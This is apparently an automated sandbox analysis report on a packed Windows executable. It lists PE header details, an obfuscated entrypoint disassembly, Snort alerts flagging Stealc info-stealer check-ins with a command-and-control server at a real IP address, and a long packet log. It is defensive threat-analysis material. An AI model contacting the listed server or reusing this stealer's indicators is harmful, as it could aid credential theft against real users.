TLSH:	6BC53368EA01F4D1EA02ED796CF991AA861730FDB3E0CD7F6221EF71640566E2C2414F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xff2574
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6686E6C8 [Thu Jul 4 18:15:36 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F44DC8DF74Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BF2574h
jmp 00007F44DC8DF749h
inc esp
push esi
jmp 00007F449BB36BFDh
add byte ptr [ebx], al
lds eax, fword ptr [ecx+00004CC0h]
add byte ptr [ecx+000005C1h], bh
mov edx, 5649C2C2h
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F44DC8DF73Ch
jmp 00007F44DC8DF749h
wait
xchg dword ptr [esi+ecx*8+49h], edi
cmovns ecx, dword ptr [ebx-02h]
retn C2C2h
inc ebx
add edi, dword ptr [edx]
retn C2C2h
ror dword ptr [edi], 7Ah
mov dl, FFFFFFC2h
retn EA78h
retn C2C2h
xor eax, 490AC120h
inc ebx
into
retn C2C2h
rol dword ptr [edi], 4Fh
cmpsb
out 3Eh, al
dec ebx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9d0020	0xc57	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d0c78	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9d0000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	f1a682dd77f3aa6aa6ec64d4d95909c3	False	0.9996427210365854	data	7.994691575034732	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	c8d8fe228be36a1bf75b927209361a33	False	0.991943359375	OpenPGP Public Key	7.97577819609616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	92912545553515ad99a8c45a29af041d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	96bac2547ef0d1e4f22203ce7bffd6c3	False	0.98974609375	data	7.9544755746970495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x791000	0x32800	6854358806884f2ff0d81a5f0b3b97af	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9cd000	0x227000	0x226c00	7a83de54652f5c53c7a355ebdcb09a35	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/04/24-20:33:55.418592	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49730	80	192.168.2.4	85.28.47.30
07/04/24-20:33:54.677386	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49730	80	192.168.2.4	85.28.47.30
07/04/24-20:33:55.603210	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49730	85.28.47.30	192.168.2.4
07/04/24-20:33:55.604937	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49730	80	192.168.2.4	85.28.47.30
07/04/24-20:33:55.804128	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49730	85.28.47.30	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 20:33:50.502118111 CEST	49675	443	192.168.2.4	173.222.162.32
Jul 4, 2024 20:33:54.655191898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:54.660147905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:54.676624060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:54.677386045 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:54.682216883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.395612955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.395780087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.418591976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.423547029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.603209972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.603277922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.603310108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.603360891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.604937077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.609714985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.804127932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.804145098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.804157019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.804167986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.804179907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:55.804246902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.804296017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.849754095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:55.854567051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.035933971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.036079884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:56.372071981 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:56.372148991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:56.376943111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.377019882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.377059937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.377068996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.377109051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.377119064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:56.377415895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.217875957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.218033075 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.573595047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.578480959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.756330013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.756373882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.756433964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.756433964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.756630898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.756681919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.756741047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.756794930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.757255077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.757343054 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.757368088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.757450104 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.757945061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.757987022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.758342981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.758410931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.758677006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.758752108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.758987904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.759038925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.759466887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.759533882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.759989977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.760039091 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.846226931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.846287012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.846297026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.846307039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.846354961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.846396923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.846570969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.846616030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.846626043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.846636057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.846685886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.847207069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.847222090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.847265959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.847290039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.849929094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.849982977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.849991083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.850061893 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.850115061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.850161076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.850193024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.850203991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.850292921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.850895882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.850963116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.851006031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.851016998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.851087093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.851648092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.851659060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.851670027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.851705074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.851744890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.852463961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.852473974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.852489948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.852540970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.852540970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.853274107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.853302956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.853312969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.853377104 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.853377104 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.854022026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.854068995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.854099035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.854150057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.928544044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.928555965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.928565979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.928580046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.928613901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.928653955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.928714991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.928725004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.928766012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.939807892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.939913034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.939925909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.939985991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940069914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.940346956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940356970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940366030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940407991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.940421104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940431118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.940431118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940440893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940450907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940459967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940469980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.940501928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.940979958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.940993071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.941003084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.941035032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.941061974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943594933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943635941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943645954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943649054 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943679094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943698883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943777084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943811893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943823099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943829060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943852901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943865061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943872929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943876028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943886042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943895102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943907976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943912983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.943928003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.943953991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.944717884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.944727898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.944736958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.944775105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.944792032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.945034027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945051908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945061922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945085049 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.945102930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.945123911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945133924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945143938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945154905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945164919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.945173979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.945199013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.945213079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.945947886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946001053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.946057081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946072102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946111917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.946141005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946151018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946161985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946186066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.946197987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.946207047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946218014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946257114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:57.946907043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:57.946962118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.013083935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.013096094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.013107061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.013148069 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.013169050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.013235092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.013246059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.013281107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.013370037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.013408899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.023682117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.023693085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.023703098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.023711920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.023722887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.023731947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.023735046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.023751974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.023785114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.033674955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033687115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033695936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033714056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033725023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033734083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033746004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033746004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.033756018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033782959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.033799887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.033905983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033921003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033931017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.033957005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.033973932 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.033996105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.034007072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.034017086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.034034014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.034043074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.034045935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.034055948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.034056902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.034085989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.034107924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.038870096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.038881063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.038892031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.038902044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.038912058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.038927078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.038938999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.038938999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.038981915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039174080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039185047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039195061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039205074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039213896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039225101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039232016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039236069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039249897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039266109 CEST	49730	80	192.168.2.4	85.28.47.30
